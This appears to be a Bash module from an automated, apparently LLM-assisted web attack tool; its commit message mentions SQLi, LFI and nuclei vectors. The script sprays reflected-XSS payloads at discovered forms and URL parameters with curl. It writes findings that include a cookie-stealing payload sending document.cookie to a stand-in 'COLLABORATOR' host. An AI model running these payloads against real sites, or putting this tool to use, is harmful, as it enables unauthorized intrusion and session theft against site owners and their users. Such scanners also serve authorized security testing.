e832ef3b46
- New discovery engine (engine/discovery.sh): crawls target for real URLs, forms, parameters, and API endpoints before attacking - New nuclei vector (21): runs nuclei templates for real CVE detection (critical/high/medium severity) - Rebuilt SQLi vector: tests discovered forms and URL params with error-based and time-based blind payloads, sqlmap injection - Rebuilt XSS vector: multi-context payloads against discovered forms/params, confirms payload reflection - Rebuilt LFI vector: tests all discovered and common file parameters with traversal payloads, confirms by reading /etc/passwd - Updated main analyzer with 5-step pipeline: connectivity → discovery → recon → Ollama brain → exploitation
133 lines
4.6 KiB
Bash
Executable File
133 lines
4.6 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# Vector 02: XSS v2 — Real Confirmed Reflected XSS
|
|
# Desc: Tests every discovered form/param with multi-context payloads, confirms execution
|
|
# Detect: Forms, URL params, search bars
|
|
# Severity: HIGH
|
|
# Tools: curl
|
|
|
|
vector_xss_v2() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local domain=$(get_domain "$target")
|
|
local base=$(get_base "$target")
|
|
local findings=0
|
|
|
|
print_info "Hunting XSS..."
|
|
|
|
# Get attack surface
|
|
local forms=$(get_discovered_forms "$domain" 2>/dev/null)
|
|
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
|
|
|
# Multi-context XSS payloads
|
|
local xss_payloads=(
|
|
'"><script>alert(1)</script>'
|
|
'"><img src=x onerror=alert(1)>'
|
|
'"><svg onload=alert(1)>'
|
|
'"><input autofocus onfocus=alert(1)>'
|
|
'"><body onload=alert(1)>'
|
|
'"><details open ontoggle=alert(1)>'
|
|
"'-alert(1)-'"
|
|
"\"-alert(1)-\""
|
|
"{{constructor.constructor('alert(1)')()}}"
|
|
)
|
|
|
|
# Context-specific encoding
|
|
local encoded_payloads=(
|
|
'\%22\%3E\%3Cscript\%3Ealert(1)\%3C/script\%3E'
|
|
'\%27\%3Balert(1)\%3B\%27'
|
|
)
|
|
|
|
local tested=0
|
|
|
|
# --- Test URL params ---
|
|
if [ -n "$urls" ]; then
|
|
print_sub "Testing URL parameters..."
|
|
|
|
# Get unique parameter names
|
|
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u)
|
|
|
|
if [ -z "$param_names" ]; then
|
|
# No URL params found, test common ones
|
|
param_names="q search s query id page term keyword input"
|
|
fi
|
|
|
|
for param in $param_names; do
|
|
for payload in "${xss_payloads[@]}"; do
|
|
tested=$((tested + 1))
|
|
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
|
|
local test_url="${target}?${param}=${encoded}"
|
|
|
|
local response=$(curl -s --connect-timeout 7 --max-time 12 "$test_url" 2>/dev/null)
|
|
|
|
# Confirm: payload appears in response UNESCAPED
|
|
local clean_payload=$(echo "$payload" | sed 's/["\]//g' | sed 's/.*alert/alert/' | sed 's/)>.*/>/')
|
|
if echo "$response" | grep -qiF "alert(1)" && echo "$response" | grep -qiF "<script"; then
|
|
print_find "Confirmed XSS in param '$param'!" "Payload reflected unescaped"
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: Cross-Site Scripting (Reflected)
|
|
DETAIL: Confirmed XSS in URL parameter '$param' on $target
|
|
EVIDENCE: Payload rendered in page response
|
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_xss-reflected.txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
done
|
|
done
|
|
fi
|
|
|
|
# --- Test form inputs ---
|
|
if [ -n "$forms" ]; then
|
|
print_sub "Testing form inputs..."
|
|
|
|
while IFS= read -r form; do
|
|
[ -z "$form" ] && continue
|
|
|
|
local form_method=$(echo "$form" | cut -d'|' -f2)
|
|
local form_action=$(echo "$form" | cut -d'|' -f3)
|
|
local form_params=$(echo "$form" | cut -d'|' -f4-)
|
|
|
|
# Make absolute URL
|
|
if [[ "$form_action" == /* ]]; then
|
|
form_action="${base}${form_action}"
|
|
elif [[ "$form_action" != http* ]]; then
|
|
form_action="${base}/${form_action}"
|
|
fi
|
|
[ -z "$form_action" ] && form_action="$target"
|
|
|
|
for param in $form_params; do
|
|
for payload in "${xss_payloads[@]}"; do
|
|
tested=$((tested + 1))
|
|
|
|
local response=""
|
|
if [ "$form_method" = "post" ]; then
|
|
response=$(curl -s --connect-timeout 7 --max-time 12 \
|
|
-X POST -d "$param=$payload" "$form_action" 2>/dev/null)
|
|
else
|
|
local sep="?"
|
|
[[ "$form_action" == *\?* ]] && sep="&"
|
|
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
|
|
response=$(curl -s --connect-timeout 7 --max-time 12 "${form_action}${sep}${param}=${encoded}" 2>/dev/null)
|
|
fi
|
|
|
|
if echo "$response" | grep -qiF "alert(1)" && echo "$response" | grep -qiF "<script"; then
|
|
print_find "Confirmed XSS in form param '$param'!" "Payload reflected unescaped on $form_action"
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: Cross-Site Scripting (Form-based)
|
|
DETAIL: Confirmed XSS in form parameter '$param' on $form_action
|
|
EVIDENCE: Script payload reflected in response
|
|
EXPLOIT: <script>fetch('https://COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss-form.txt"
|
|
findings=$((findings + 1))
|
|
break 3
|
|
fi
|
|
done
|
|
done
|
|
done <<< "$forms"
|
|
fi
|
|
|
|
if [ "$findings" -eq 0 ]; then
|
|
print_ok "No XSS confirmed (tested $tested payloads on $([ -n \"$forms\" ] && echo \"forms+\")\" URLs\")"
|
|
fi
|
|
|
|
return $findings
|
|
}
|